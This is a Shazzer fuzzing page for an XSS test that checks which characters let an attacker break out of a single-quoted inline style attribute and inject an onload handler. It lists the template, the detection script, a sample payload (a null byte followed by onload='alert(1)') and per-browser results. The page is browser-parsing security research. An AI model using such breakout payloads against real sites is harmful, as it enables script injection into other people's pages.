Shazzer logo

Characters that can break out of an inline style with single quotes

Chrome logo 1
Firefox logo 1
Edge logo 1

Characters that can break out of an inline style with single quotes

0xdef1ant
Created by0xdef1ant
Created Jul 13, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryCSS Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<div id="test" style='$[chr]onload="alert(1)">hello</div>
Code used after fuzz:
let a = document.getElementById("test");0x0D
if (typeof a.onload === 'function') {0x0D
log(String.fromCharCode($[i]))0x0D
  }

Sample payloads

<div id="test" style='0x00onload="alert(1)">hello</div>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 1 result
Loading...
Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 1 result
Loading...
Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 1 result
Loading...
Firefox logo
Firefox 145.0 desktop Windows NT 10.0older version
Updated15 Nov 2025
Found 1 result
Loading...
Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 1 result
Loading...